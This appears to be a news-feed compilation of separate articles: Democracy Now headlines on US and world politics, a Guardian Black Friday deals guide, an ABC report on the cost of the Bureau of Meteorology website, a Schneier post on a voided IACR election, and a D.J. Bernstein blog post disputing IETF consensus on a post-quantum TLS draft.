.” Meanwhile, Russia has continued deadly attacks on Ukrainian civilians, including a drone strike on Kharkiv on Sunday that killed four people and wounded 17 others.
Trump Repeatedly Praises Mamdani During Oval Office Meeting
Nov 24, 2025
Image Credit: White House photo
New York City Mayor-elect Zohran Mamdani met with President Trump at the White House Oval Office Friday. During the meeting, President Trump repeatedly praised Mamdani and said he would feel “very confident that he can do a very good job.” President Trump also said he would feel “comfortable” living in New York under Mamdani’s leadership. Speaking to reporters, Mamdani maintained his past criticisms of President Trump.
Jacqui Heinrich
: “Are you affirming that you think President Trump is a fascist?”
Mayor-elect Zohran Mamdani
: “I’ve spoken about the” —
President Donald Trump
: “That’s OK. You can just say yes. So” —
Mayor-elect Zohran Mamdani
: “OK. All right.”
President Donald Trump
: “OK?”
Mayor-elect Zohran Mamdani
: “Yeah.”
President Donald Trump
: “It’s easier.”
Mayor-elect Zohran Mamdani
: “Yeah.”
President Donald Trump
: “It’s easier than explaining it. I don’t mind.”
On Sunday, Mamdani doubled down on his views that President Trump is a fascist and a despot in an interview with NBC’s “Meet the Press.”
Kristen Welker
: “Do you think that President Trump is a fascist?”
Mayor-elect Zohran Mamdani
: “And after President Trump said that, I said, 'Yes.' And” —
Kristen Welker
: “So you do?”
Mayor-elect Zohran Mamdani
: “And that’s something that I’ve said in the past. I say it today. And I think what I appreciated about the conversation that I had with the president was that we were not shy about the places of disagreement, about the politics that has brought us to this moment.”
We’ll have more on Mamdani’s meeting with President Trump later in the broadcast.
Democratic Lawmakers File Police Complaints After Trump’s Posts Accuse Them of “Seditious Behavior”
Nov 24, 2025
Several Democratic lawmakers have filed police complaints after President Trump called for them to be put to death for what he called “seditious behavior.” Trump’s threat came after six lawmakers — who are veterans of the military or
CIA
— called on active-duty service members to refuse illegal orders. Congressmembers Jason Crow, Chris Deluzio and Chrissy Houlahan told the U.S. Capitol Police that Trump’s call for their execution has undermined their personal safety while putting the lives of congressional staffers at risk. Crow released audio of death threats phoned into his offices, while Deluzio reported his congressional offices in western Pennsylvania received bomb threats. On Friday, Trump doubled down on his threats, accusing the Democrats of ”
SEDITION
AT
THE
HIGHEST
LEVEL
.”
Trump Denied Federal Disaster Aid to Chicago Residents After Two Major Storms
Nov 24, 2025
President Trump denied federal disaster aid to thousands of Chicago residents, even though his administration documented extraordinary damage from two major storms this summer. That’s according to Politico, which reports it’s the first time since at least 2007 that any president has refused to help residents recover from such extensive damage to their homes. Trump’s denial stunned former
FEMA
officials. It comes after Trump said Illinois Governor JB Pritzker and Chicago Mayor Brandon Johnson should be jailed over their resistance to Trump’s surge of federal immigration agents and National Guard forces into the Chicago region.
ICE
Agents in Oregon Violently Abduct 17-Year-Old High School Student on Lunch Break
Nov 24, 2025
In Oregon, federal immigration agents forced a 17-year-old high school student from his vehicle and abducted him as the teen took a lunch break on Friday. Video shows masked
ICE
agents smashed the driver’s side window of a car being driven by Christian Jimenez, a senior at McMinnville High School, who told them he was a U.S. citizen, to which an agent replied “get out of the car” and “I don’t care.” Jimenez’s brother says the teen was racially profiled and injured by shattered glass. He was taken to an
ICE
facility in Portland and released later that day. He’s been charged with “interference or obstruction of an investigation.”
SCOTUS
Temporarily Restores Texas Congressional Map Declared an Illegal Gerrymander by Lower Court
Nov 24, 2025
The U.S. Supreme Court has temporarily restored Texas’s new congressional map that’s designed to allow Republicans to win up to five additional House seats in next year’s midterm elections. On Friday, Supreme Court Justice Samuel Alito paused a lower court ruling which stated that the new map was an illegal racial gerrymander. The high court has asked plaintiffs to respond by today before a final ruling on the congressional map.
50 Students Escape After Gunmen Abduct Hundreds from Catholic School in Nigeria
Nov 24, 2025
In Nigeria, 50 kidnapped students escaped their captors on Friday after gunmen stormed a Catholic boarding school and abducted over 300 children and 12 teachers last week. The Christian Association of Nigeria says the children who managed to escape have been reunited with their families. Now a major military-led search and rescue mission is underway to find the remaining children and teachers. Last week, gunmen stormed another boarding school and abducted 25 schoolgirls and killed the vice principal. The recent kidnappings have prompted officials to close 47 schools in northern Nigeria. President Bola Tinubu has also ordered the hiring of 30,000 more police officers, but Nigerians are calling for officials to take more action.
Elizabeth Awodeji
: “We have seen our old women being kidnapped, being robbed in this country that we call giant of Africa. It is so bad. And the current government, they are not doing anything to what is happening.”
G20 Concludes Summit in South Africa Boycotted by U.S.
Nov 24, 2025
The G20 summit in South Africa concluded yesterday. It was the first time the event was held in the African continent. The United States boycotted the meeting, citing false allegations that South Africa was mistreating its white-minority Afrikaners. Leaders gathered at the summit adopted a joint declaration to address the climate crisis and other global challenges without input from the United States. The White House claimed that South Africa had “weaponized their G20 presidency to undermine the G20’s founding principles.” Meanwhile, Brazil’s President Luiz Inácio Lula da Silva declared the G20 summit in South Africa a success.
President Luiz Inácio Lula da Silva
: “President Trump has been demonstrating this for several months now. He has already withdrawn from
UNESCO
and the World Trade Organization. He is attempting to preach the end of multilateralism in practice, trying to strengthen unilateralism. I believe multilateralism will prevail.”
Next year’s G20 summit will be held in the United States.
COP30 Climate Summit Concludes Without Agreement to Phase Out Fossil Fuels
Nov 24, 2025
In Belém, Brazil, the U.N. climate summit, known as COP30, has concluded without an agreement to phase out the use of coal, oil and gas, which are by far the largest contributors to global climate change. More than 80 countries had supported a transition away from fossil fuels, but they were blocked by oil-producing nations, including Russia, Saudi Arabia and the United Arab Emirates. This is Irene Vélez Torres, Colombia’s environment minister.
Irene Vélez Torres
: “The root cause of this problem is fossil fuels. How are we dealing with that? How are we going to come out from this
COP
to say and to tell the people that we deny the most basic scientific truth, which is that the fossil fuels are the cause of more than 80% of the emissions that are generating climate change?”
The COP30 agreement also makes no new commitments to halt deforestation, nor does it address global meat consumption, another major driver of global heating. More than 1,600 fossil fuel industry lobbyists and 300 industrial agriculture lobbyists attended COP30; meanwhile, the Trump administration did not send a formal delegation, after the White House in January withdrew the U.S. from the Paris Climate Agreement for the second time.
Brazil’s Former President Jair Bolsonaro Arrested After Tampering with Ankle Monitor
Nov 24, 2025
Former Brazilian President Jair Bolsonaro has been arrested after he tampered with his ankle monitor while under house arrest. The arrest was ordered by Brazil’s Supreme Court Justice Alexandre de Moraes over fears that Bolsonaro would attempt to escape his compound, days before he was heading to prison. Back in September, Bolsonaro was sentenced to 27 years in prison for plotting a military coup against Brazil’s current President Luiz Inácio Lula da Silva.
The original content of this program is licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License
. Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.
Non-commercial news needs your support
We rely on contributions from our viewers and listeners to do our work.
Please do your part today.
The best Black Friday deals on the products we love, from sunrise alarm clocks to dehumidifiers
Guardian
www.theguardian.com
2025-11-24 12:56:27
We’ve cut through the noise to find genuinely good early Black Friday 2025 discounts on Filter-recommended products across home, tech, beauty and toys • Big savings – or big regrets? How to shop smart this Black Friday• The best Black Friday beauty deals Like Christmas Day, Black Friday has long sin...
L
ike Christmas Day, Black Friday has long since ceased to be a mere “day”. Yuletide now seems to start roughly when Strictly does, and Black Friday kicked off around Halloween, judging by the landfill of exclamation-marked emails weighing down my inbox.
Black Friday is a devil worth dancing with if you want to save money on products you’ve had your eye on – and it can pay to start dancing now. Some of the Filter’s favourite items are already floating around at prices clearly designed to make them sell out fast. Other deals won’t land until the big day itself on 28 November, or even until the daftly named Cyber Monday (1 December).
As ever, we’d encourage you not to buy anything unless you really need it and have the budget to do so – read
our advice on how to shop smartly
.
We’ll keep this page updated over the next few days with more genuine Black Friday bargains on the Filter’s favourites, from Anker battery packs to KidiZoom cameras via the espresso machine you loved more than any other product this year.
How we selected these deals (and excluded others)
The key to
shopping smart
on Black Friday, Cyber Monday or any discount event is to know what you want – and we’re here to help you target the good stuff. We’ve tested thousands of products at the Filter in 2025 and warmly recommended hundreds of them, including many that have genuinely good Black Friday discounts.
Instead of listing price cuts on all the products we’ve featured, we’ve focused on the things you’ve liked the most this year, and looked for deals that undercut their long-term average prices by a significant amount. Ideally, their Black Friday price will be their lowest of the year.
We don’t take retailers at their word on discount size, either. Amazon may say it’s “70%” off the RRP, but we study the price history of every item using independent tools such as
the Camelizer
to find out how generous a discount really is. If an item’s price has been all over the place in 2025, we’ll give the average price below instead of a “was …” price, so you can judge how good a deal it is.
Q&A
How is the Filter covering Black Friday?
Show
At the Filter, we believe in buying sustainably, and the excessive consumerism encouraged by Black Friday doesn’t sit easily with us. However, we also believe in shopping smarter, and there’s no denying that it’s often the best time of year to buy big-ticket items that you genuinely need and have planned to buy in advance, or stock up on regular buys such as skincare and cleaning products.
Retailers often push offers that are not as good as they seem, with the intention of clearing out old stock, so we only recommend genuine deals. We assess the price history of every product where it’s available, and we won’t feature anything unless it is genuinely lower than its average price – and we will always specify this in our articles.
We only recommend deals on products that we’ve tested or have been recommended by product experts. What we choose to feature is based on the best products at the best prices chosen by our editorially independent team, free of commercial influence.
The best early Black Friday deals on the Filter’s favourite products
The Filter team recommended this pattern-building game as an “addictive”
Father’s Day gift
“guaranteed to be a hit”, but it’s far too good to leave to just the dads. It’s mercifully quick to learn and suitable for tweens and up, so you and your Christmas visitors can have a bout underway faster than you can say “read the instructions”. This is the first time its price has dropped much below £30 since 2023.
Race to find the matching images in this popular observation game – one of our top tips for
keeping kids entertained on long train journeys
. You can mix things up with games-within-games such as “hot potato” and “catch them all”, and it’s versatile enough to suit any number of players from two to eight. This deal isn’t quite the 50% off that Amazon claims (its average price on the site is under £10), but this is its lowest price of 2025.
EA’s FC 26 was released to great fanfare in September, and it’s proved to be one of Amazon’s best Black Friday sellers so far. As Ben Wilson explains in his four-star
review
, this versatile game is a sim offline and a whole other beast online, where it’s purely an esport with shots and goals prioritised over defending. Unusually, Amazon is beaten to the lowest price on this one – by the PlayStation store, no less.
Block out the world and drift off to whatever music, podcast or white noise you choose with this comfy silk sleep mask that incorporates flat Bluetooth speakers for pairing with your phone. It impressed our writer Jane Hoskyn in her mission to find
sleep aids
that actually work, but she found it a little pricey – so this discount is very welcome, and makes the Snoozeband an even better
Christmas gift
idea.
Running watch with Spotify
Garmin Forerunner 165 Music smartwatch, £208.05 (was £289)
One of our favourite
fitness tech
gadgets, Garmin’s GPS smartwatch can’t run a
marathon
for you, but it sure can help ease the pain with its pace-tracking tools, offline Spotify support and 19-hour battery life. Amazon outdoes its rivals with this early deal on the aqua green edition of the watch, now at its lowest price ever.
Professional DJ headphones
AiAiAi Audio TMA-2 DJ headphones, £124.94 (was £159)
Many headphones claim to be pro or DJ-level, but this modular set is a favourite with
actual DJs
. DJ and producer
Sophie Lloyd
told the Filter’s Kate Hutchinson that she loves the sound quality, size and durability of these phones, adding that their modular design means “you can buy a new lead or earpieces separately, which is essential when you’re using them all the time”. This Black deal takes them to their lowest price of 2025.
This fab portable speaker boasts 12-hour battery life, durability and a range of swish colours, making it a must-have for
university life
and beyond. It’s a superb piece of kit for the price, with excellent sound quality, nine-metre Bluetooth connectivity and smart TV support.
The best home deals
Heated fleece throw
Silentnight luxury heated throw, from £36 (was £45)
One of Amazon’s best sellers this Black Friday but 25p cheaper at Boots, Silentnight’s toasty fleece blanket was one of the lighter and thinner options in our
best heated throws
roundup. That makes this 120 x 160cm throw ideal for wrapping around yourself (and no-one else) on the sofa as the evenings grow ever colder.
Owlet’s feature-packed smartphone-compatible baby monitor was one of the favourite
baby products
when we spoke to parents last year. If you’d rather not give your £199 to Amazon, John Lewis is only 99p more.
The best combination steam cleaner
Vax Steam Fresh Total Home mop, from £84 (was £160)
Emerging from Stuart Andrews’
best steam cleaners
test as the “best combination cleaner”, Vax’s versatile mop proved easy and effective to use on multiple surfaces and tight corners. The handheld bit detaches easily from the body then slots back in when needed, and you get an array of brushes, scrapers, pads and nozzles. This dirt-blitzing package has dropped more than 40% at Currys and Amazon.
Smart wake-up and reading light
Philips SmartSleep sleep and wake-up light, £139.99 (avg £179.61)
When testing products for his guide to the
best sunrise alarm clocks
, our writer Pete Wise was struck by how well this one worked as a reading light. “Even when a bright setting is selected, the light seems relatively mellow and restful,” wrote Pete, who also liked the range of alarm sounds and audio input option. He found it a little too expensive, however – and it’s still north of £100, but somewhat less so.
A heated airer dries your clothes fast enough to avoid the dreaded stink of slow-dried laundry, and without the cost or noise of a tumble dryer. Lakeland’s three-tier heated airer – the top performer in our
heated airers
test – has proved enduringly popular with the Filter’s readers, and is now at its lowest price ever. Lakeland has also dropped the price of the
airer with cover
to £195.98 for Black Friday.
The best hybrid mattress
Photograph: Jane Hoskyn/The Guardian
Otty Original Hybrid double, £627.75 with code THEFILTER7 (was £647.99)
The most comfortable and supportive foam-and-springs hybrid of all the
mattresses
we’ve tested, the Otty already came at an impressive price of £647.99 for a double, but the Filter’s exclusive code gives you a small but perfectly welcome additional 7% off for Black Friday. For a deeper dive into this cosy mattress, read our
Otty Original Hybrid review
(spoiler: it gets five stars). Otty is now bundling two of
our favourite pillow
(usually £69.99 each) in with each mattress order, too.
Mattress “discounts” may seem to be a 24/7/365 thing, but UK watchdogs have given companies short shrift over money-off claims that aren’t all they seem. We’ve certainly noticed Simba playing by the rules lately, and its current 30%-off sale is the first we’ve seen in months. The excellent
Simba Hybrid Pro
, another of our
best mattresses
, is now hundreds of pounds cheaper in all sizes, from single (now £599.25) to super king (now £1,091.22).
Wool mattress topper
Woolroom Deluxe wool topper (double), from £
148.74 (was £174.99)
The sustainably sourced wool in Woolroom’s bedding is a hypoallergenic temperature regulator, helping to keep you warm in winter and cool on hotter nights. The company’s deluxe
mattress topper
adds a touch of softness to a too-hard mattress, and is one of the easiest toppers we tested to move and store. Woolroom’s 35% isn’t quite as big a discount as Amazon’s, but it applies to everything on its site, including duvets, mattresses and linens.
Powerful pressure washer
Bosch UniversalAquatak 135 high pressure washer, £135 (was £209)
Blitz the gunk from your patio, decking, gutters and any flat surface you find yourself unable to resist pointing the nozzle at. Our writer Andy Shaw found the UniversalAquatak to be the most powerful of all the
pressure washers
he tested, and he thought its price was reasonable too. It’s now even cheaper for Black Friday, although not quite its lowest price of 2025 – it was briefly (very briefly) under £120 for Prime Day.
A vacuum cleaner that empties itself? Yes please, said our writer Andy Shaw in his roundup of the
best cordless vacuum cleaners
– and you agreed, making Shark’s ingenious and powerful cordless cleaner one of your favourite products of the year. Vacuums that look after themselves don’t come cheap, and it’s great to see this one heavily discounted at Shark’s own website as well as at Amazon.
You wait a lifetime for a self-emptying vacuum cleaner, then Black Friday brings you two at once. The Eufy X10 was named “best overall” by Stuart Andrews in his guide to the
best robot vacuums
, and it’s already one of the fastest-selling items in Amazon’s Black Friday sale. Its price cut isn’t quite the 38% Amazon suggests, because it cost £579 throughout 2025, but this is still a legitimately good deal.
Damp-destroying dehumidifier
ProBreeze dehumidifier, from £151.99 (was £189.99)
This “workhorse”, which “extracted moisture powerfully” in our
best dehumidifiers
test, has tumbled to its lowest price of the year (except for a few days in May, because no one buys dehumidifiers in May). If the recent cold snap gave you the condensation blues, here’s your chance to snap up the ProBreeze for a chunk below its average Amazon price of just over £180.
Beurer’s “soft and sumptuous” fleece blanket was crowned “best throw overall” in our guide to the
best electric blankets
thanks to its ability to get toasty fast without using much energy. A fiver off is not a massive discount, but this is its cheapest recent price on Amazon, where it normally costs £84.99 – and other retailers still want over £100 for it. We’ll bring you any non-Amazon deals that emerge in the coming days.
Sort the cold-callers from the welcome visitors when they’re still metres away from your front door, with this outstanding battery-powered doorbell that crashes to its lowest price since Black Friday 2023. Andy Shaw named it the
best video doorbell
overall, but lamented that you also have to fork out for a
Nest Aware subscription
at £80 a year to save recordings.
Budget electric blanket
Slumberdown Sleepy Nights electric blanket, king size, from £30.59
(was £45.99)
This Slumberdown Sleepy Nights performed admirably in Emily Peck’s test of
the best electric blankets
, heating quickly to a temperature that was comfortable to keep our reviewer warm through the night. It also has elasticated fitted straps to make fitment easy, and comes in a variety of sizes to suit your bed size. It’s the king-size one that’s been discounted.
Lots of video doorbells and home surveillance systems come with a recurring subscription to access some of their features, which you may wish to avoid. If so, then the Eufy Video Doorbell E340 was Andy Shaw’s pick in his testing of the
best video doorbells
out there. He liked the E340 precisely because of its dual camera setup to make keeping an eye on parcels a breeze, plus the onboard storage to stick it to cloud storage. Reliability of movement detection needed some work, though. At £74.99 from Amazon, it’s also at its lowest price ever this Black Friday from the big online retailer.
Having cornered the market in air fryers, Ninja now has its eye on all your kitchen needs, starting with your morning coffee – however you take it, from cold brew to latte. The “sublime espresso”, “ingenious milk frother” and Barista Assist feature of the Ninja Luxe impressed our writer Sasha Muller enough to win it a place in the
best espresso machines
and
best coffee machines
, where Sasha noted that “you get a lot for your money” even at full price.
The best budget kettle in Rachel’s
best kettles
test, the handsome Kenwood looks more expensive than even its RRP suggests, and impresses with a wide pouring spout, single-cup boil and two water windows. Currys has the best Black Friday deal so far, with the white edition dropping to a bargain £27. At John Lewis it’s £28 for white or eggshell blue, while the Amazon deal is for midnight black.
This curious-looking device is a widget on steroids. It brings the nitro beer effect to your Guinness at home, enabling you to pour the black stuff in two-part draught style, just like any good bartender. It’s a brilliant
Christmas gift
idea, now with a third wiped off its price … so, sincere apologies if you bought it last week when we first recommended it. Note you’ll need to buy special
Nitrosurge Guinness
too, but that’s also in the Black Friday sale, at £16.50 for a pack of 10 one-pint cans.
The promise of “ludicrously tasty” espresso and “perfect microfoam for silky cappuccinos and flat whites” proved so irresistible that this was one of the Filter recommendations you loved most in 2025. Our writer Sasha Muller was already wowed by its affordability in his
espresso machines
test, and it’s rarely discounted at all, so we’re not too sad to see it drop just a few pounds for Black Friday.
Capsule coffee machine
Philips L’or Barista Sublime, from £45 (avg £69.40)
The price of this sleek machine has bounced between £105 and about £60 since 2023, only ever dipping to £45 for Black Friday each year. Its compatibility, compactness and coffee impressed the Filter’s cuppa connoisseur, Sasha Muller, enough to be named “best capsule machine” in his bid to find the
best coffee machines
.
If you’re still holding out on buying an air fryer, here’s a rare chance to grab a big-name, big-capacity Ninja without the big price tag. Not quite so big, anyway. Rachel Ogden named the Double Stack XL “best compact air fryer” in her guide to the
best air fryers
, but with its 9.5lL capacity and four cooking levels, this thing can cook a
lot
. Still not cheap, but far below its average price of £229.
You can spend about £500 on a premium blender, but this superb model from Braun costs below £200 even at full price – something our
best blenders
tester, Rachel Ogden, could hardly believe when she named it “best overall”. Hold on to your smoothie, Rachel, because it’s now less than £150, and not just at Amazon.
Tefal is known mostly for its ActiFry tech, so when Rachel Ogden crowned the Tefal Easy Fry Dual XXL as the
best air fryer
, it made sense. She found it to be a sublime all-rounder in her testing, handling both chips and frozen food very well. With an 11-litre capacity, it’s also Tefal’s largest dual zone air fryer, making it handy for cooking a lot of food for larger families when you need to.
Crowned overall winner in Rachel Ogden’s missions to find the
best kettles
, this Bosch beauty now comes at a price offer you can’t refuse – and not just from Amazon. “A brilliant blend of robust form and function” wrote Rachel of this fashionably industrial-looking kettle, whose features include a low minimum boil (300ml), keep-warm setting and touch controls. Now its lowest price ever, in white or black.
One of your favourite Filter recommendations of the year, this gentle
sunrise alarm clock
will wake you up with kittens purring, birdsong, gently brightening light – or a plain old alarm sound if you prefer. It’s been around for a few years and saw a price hike in 2022 (cost-of-waking-up crisis?) before settling at just under £50 from most retailers, so this is a deal worth grabbing.
Water flosser
Waterpik Ultra Professional, from £59.99 (was £91)
Blast the gunk from your gums without having to grapple with floss. The Waterpik Ultra is a countertop model so it takes up more space than the cordless type, but this gives it more versatility and saw it score top marks with our
water flosser
tester Alan Martin. If you’d rather avoid Amazon, you can find it discounted by other retailers, albeit not by as much.
The best IPL device
Philips Lumea 9900 BRI951/01, £
377.99 (avg £501.33)
IPL (intense pulsed light) hair remover devices promise to banish stubbly regrowth without the pain of waxing and epilation – at a price. The Philips Lumea 9900, Lise Smith’s pick for
best IPL device
overall, has cost as much as £599.99 for much of the year, and occasional discounts rarely go below £450. Amazon’s current price shaves more than £40 off any other Black Friday deal we’ve found for this version, which comes with four attachments.
The best beauty deals
A bargain beauty Advent calendar
W7 Beauty Blast Advent calendar, £16.95 (was £19.95)
Advent calendars are a Christmas staple, and we’ve seen lots of brands try to put a different spin on them in the past – beauty Advent calendars are some of the most prominent. This W7 Beauty Blast calendar provides excellent value for money at a deal-busting £16.95 from Amazon, especially as it provides genuinely useful products for most folks. The likes of the eyeshadows, primers, lip balms and such are travel-size, but apart from that, Sarah Matthews had little cause for complaint in her ranking of the
best beauty Advent calendars
.
Trade Chaos Causes Businesses to Rethink Their Relationship with the U.S.
The Bureau of Meteorology's (BOM) flawed and expensive redesigned website will come under renewed scrutiny, with the federal environment minister asking the agency's new boss to closely examine how it all went so wrong, and report back to him.
It comes amid revelations that the new website cost more than $96 million to design — a far cry from the $4 million figure it originally claimed had been spent.
Users found it difficult to navigate, and also criticised the
changes to the radar map
, which made place names hard to read.
BOM users, farmers in particular, were critical of the changes made to the radar map.
(
ABC Rural: Justine Longmore
)
Farmers were scathing, as they were unable to locate rainfall data.
The federal government was forced to intervene, ordering the agency to fix the website.
The site has since reverted to the old version of the radar map and other tweaks have been made to the site, with further changes to be rolled out.
In a statement provided to the ABC, the BOM admitted "the total cost of the website is approximately $96.5 million".
'Complete rebuild necessary'
It said the cost breakdown included $4.1 million for the redesign, $79.8 million for the website build, and the site's launch and security testing cost $12.6 million.
"A complete rebuild was necessary to ensure the website meets modern security, usability and accessibility requirements for the millions of Australians who reply on it every day," a spokesperson said.
The spokesperson also said it had "continued to listen to and analyse community feedback" since the launch of the new website on October 22.
The BOM says it continues to listen to and analyse community feedback.
(
ABC News: Greg Bigelow
)
Nine days after the launch it changed the radar map back to what it had previously been.
"This brought back the visual style that the community said they found intuitive and reliable for interpreting weather conditions,"
a spokesperson said.
"This option was already available on the new site but not as the default setting when visiting the page.
"On 7 November we implemented changes to help the community find important fire behaviour index information."
Future changes were also in the pipeline in response to community feedback, according to the spokesperson, but some updates had been paused due to Severe Tropical Cyclone Fina in northern Australia.
Minister's expectations 'have been made very clear'
Environment Minister Murray Watt said he had met twice in the past week with the new CEO Stuart Minchin to reiterate his concerns about the bungled process and the cost.
The environment minister says he has met twice with the BOM's new boss.
(
ABC News: Callum Flinn
)
He has asked Mr Minchin to report back to him on the issue.
"I don't think it's secret that I haven't been happy with the way the BOM has handled the transition to the new website," he told reporters on Sunday.
"I met with him on his first day and during the week just gone, to outline again that I think the BOM hasn't met public expectations, both in terms of the performance of the website and the cost of the website.
"So I've asked him as his first priority to make sure that he can get on top of the issues with the website — the functionality — and I'm pleased to see they've made changes.
"But I've also asked him to get on top of how we got to this position with this cost, with the problems.
"He's only been in the job for a week but I think my expectations have been made very clear."
The minister has asked new BOM boss, Stuart Minchin, to prioritise the issues with the website.
(
Supplied: BOM
)
However the minister stopped short of describing the website as a sheer waste of money, saying he would wait to hear back from Mr Minchin before commenting.
"Before leaping to judgement, I want to see what the new CEO of the BOM has been able to establish as to the reasons for those cost increases and I'll make my judgement at that point in time."
'Another Labor disaster'
Nationals leader David Littleproud said there should be "consequences" after the revelations about the true cost of the website.
"It is unbelievable a private consultancy was paid $78 million to redesign the website," Mr Littleproud said.
"But then security and system testing meant that Australian taxpayers actually paid $96 million for what was nothing more than another Labor disaster,.
"The seriousness of this cannot be understated. This isn't just about a clunky website, the changes actually put lives and safety at risk.
"The new platform did not allow people to enter GPS coordinates for their specific property locations, restricting searches to towns or postcodes.
"Families and farmers could not access vital, localised data such as river heights and rainfall information and this missing data created panic and fear across communities.
"But now, the fact the BOM has been hiding the true cost of its white elephant and initially lying about the total figure is deeply concerning, considering that the BOM should be all about trust."
IACR Nullifies Election Because of Lost Decryption Key
Schneier
www.schneier.com
2025-11-24 12:03:46
The International Association of Cryptologic Research—the academic cryptography association that’s been putting conferences like Crypto (back when “crypto” meant “cryptography”) and Eurocrypt since the 1980s—had to nullify an online election when trustee Mot...
The International Association of Cryptologic Research—the academic cryptography association that’s been putting conferences like Crypto (back when “crypto” meant “cryptography”) and Eurocrypt since the 1980s—had to
nullify
an online election when trustee Moti Yung lost his decryption key.
For this election and in accordance with the bylaws of the IACR, the three members of the IACR 2025 Election Committee acted as independent trustees, each holding a portion of the cryptographic key material required to jointly decrypt the results. This aspect of Helios’ design ensures that no two trustees could collude to determine the outcome of an election or the contents of individual votes on their own: all trustees must provide their decryption shares.
Unfortunately, one of the three trustees has irretrievably lost their private key, an honest but unfortunate human mistake, and therefore cannot compute their decryption share. As a result, Helios is unable to complete the decryption process, and it is technically impossible for us to obtain or verify the final outcome of this election.
The group will redo the election, but this time setting a 2-of-3 threshold scheme for decrypting the results, instead of requiring all three
2024.10.28: The sins of the 90s:
Questioning a puzzling claim about mass surveillance. #attackers #governments #corporations #surveillance #cryptowars
2024.08.03: Clang vs. Clang:
You're making Clang angry. You wouldn't like Clang when it's angry. #compilers #optimization #bugs #timing #security #codescans
2024.06.12: Bibliography keys:
It's as easy as [1], [2], [3]. #bibliographies #citations #bibtex #votemanipulation #paperwriting
2016.06.07: The death of due process:
A few notes on technology-fueled normalization of lynch mobs targeting both the accuser and the accused. #ethics #crime #punishment
2016.03.15: Thomas Jefferson and Apple versus the FBI:
Can the government censor how-to books? What if some of the readers are criminals? What if the books can be understood by a computer? An introduction to freedom of speech for software publishers. #censorship #firstamendment #instructions #software #encryption
2015.02.18: Follow-You Printing:
How Equitrac's marketing department misrepresents and interferes with your work. #equitrac #followyouprinting #dilbert #officespaceprinter
2014.06.02: The Saber cluster:
How we built a cluster capable of computing 3000000000000000000000 multiplications per year for just 50000 EUR. #nvidia #linux #howto
2014.03.23: How to design an elliptic-curve signature system:
There are many choices of elliptic-curve signature systems. The standard choice, ECDSA, is reasonable if you don't care about simplicity, speed, and security. #signatures #ecc #elgamal #schnorr #ecdsa #eddsa #ed25519
2014.02.05: Entropy Attacks!
The conventional wisdom says that hash outputs can't be controlled; the conventional wisdom is simply wrong.
2025.11.23: NSA and IETF, part 3:
Dodging the issues at hand. #pqcrypto #hybrids #nsa #ietf #dodging
Normal practice
in deploying post-quantum cryptography is to deploy ECC+PQ.
IETF's TLS working group is standardizing ECC+PQ.
But IETF management is also non-consensually ramming a particular NSA-driven document
through the IETF process,
a "non-hybrid" document that adds
just PQ
as another TLS option.
Don't worry: we're standardizing cars with seatbelts.
Also, recognizing generous funding from the National Morgue Association,
we're going to standardize cars
without
seatbelts as another option,
ignoring the safety objections.
That's okay, right?
Last month I posted
part 1
of this story.
Today's
part 2
highlighted the corruption.
This blog post, part 3,
highlights the dodging in a particular posting at the beginning of this month
by an IETF "security area director".
Part 4
will give an example of how
dissent on this topic has been censored.
Consensus means whatever the people in power want to do.
Recall from my previous blog post that
"adoption" of a document is a preliminary step
before an IETF "working group" works on, and decides whether to standardize, the document.
In April 2025,
the chairs of the IETF TLS WG called for "adoption" of this NSA-driven document.
During the call period,
20 people expressed unequivocal support for adoption,
2 people expressed conditional support for adoption,
and 7 people expressed unequivocal opposition to adoption.
(
Details for verification.
)
Before the chairs could even reply,
an "area director"
interrupted
,
claiming, inter alia, the following:
"There is clearly consensus
based on the 67 responses to the adoption call. ...
The vast majority was in favour of adoption ...
There were a few dissenting opinions".
After these lies by the "area director" were
debunked
,
the chairs said that they had declared consensus
"because there is clearly sufficient interest to work on this draft"
specifically "enough people willing to review the draft".
I can understand not everybody being familiar with
the specific definition of "consensus" that
antitrust law
requires standards-development organizations to follow.
But it's astonishing to see chairs substituting a consensus-evaluation procedure
that simply ignores objections.
Stonewalling.
The chairs said I could escalate.
IETF procedures say that an unresolved dispute can be brought
"to the attention of the Area Director(s) for the area in which the Working Group is chartered",
and then "The Area Director(s) shall attempt to resolve the dispute".
I filed a complaint with the "security area directors"
in
early June 2025
.
One of them never replied.
The other,
the same one who had claimed that there was "clearly consensus",
sent a
series of excuses
for not handling the complaint.
For example, one excuse was that the PDF format "discourages participation".
Do IETF procedures say "The Area Director(s) shall attempt to resolve the dispute
unless the dispute is documented in a PDF"?
No.
I sent email two days later
systematically addressing the excuses.
The "area director" never replied.
It isn't clear under IETF procedures whether a non-reply allows an appeal.
It is, however, clear that an appeal
can't
be filed after two months.
I escalated to the "Internet Engineering Steering Group" (IESG)
in
August 2025
.
(These aren't even marginally independent groups.
The "area directors" are the IESG members.
IESG appoints the WG chairs.)
IESG didn't reply until October 2025.
It rejected one of the "Area Director" excuses for having ignored my complaint,
but endorsed another excuse.
I promptly filed a
revised complaint
with the "area director",
jumping through the hoops that IESG had set.
There were then further
runarounds
.
The switch.
Suddenly,
on 1 November 2025,
IESG publicly instructed the "area director" to address the following question:
"Was rough consensus to adopt draft-connolly-tls-mlkem-key-agreement in the
TLS Working Group appropriately called by the WG chairs?"
The "area director" posted his conclusion mere hours later:
"I agree with the TLS WG Chairs that the Adoption Call result
was that there was rough consensus to adopt the document".
Dodging procedural objections.
Before looking at how the "area director" argued for this conclusion,
I'd like to emphasize three things that the "area director"
didn't
do.
First,
did the "area director" address my
complaint
about the chair action on this topic?
No.
One reason this matters is that
the law requires standards-development organizations to provide an
"appeals process"
.
Structurally,
the "area director" isn't quoting and answering the points in my complaint;
the "area director" puts the entire burden on the reader
to try to figure out what's supposedly answering what,
and to realize that many points remain unanswered.
Second,
did the "area director" address the chairs claiming that
"we have consensus to adopt this draft"?
Or the previous claim from the "area director"
that there was "clearly consensus"?
No.
Instead IESG and this "area director"
quietly shifted from "consensus" to "rough consensus".
(Did you notice this shift when I quoted IESG's "rough consensus" instruction?)
One reason this matters is that
"consensus"
is another of the legal requirements for standards-development organizations.
The law doesn't allow "rough consensus".
Also,
IETF claims that
"decision-making requires achieving broad consensus"
.
"broad consensus" is even stronger than "consensus",
since it's saying that there's consensus
in a broad group
.
Third,
the way that my complaint had established the
lack of consensus
was, first, by reviewing the general definition of "consensus"
(which I paraphrased from the definition in the law, omitting a citation only because
the TLS chairs had threatened me with a
list ban
if I mentioned the law again),
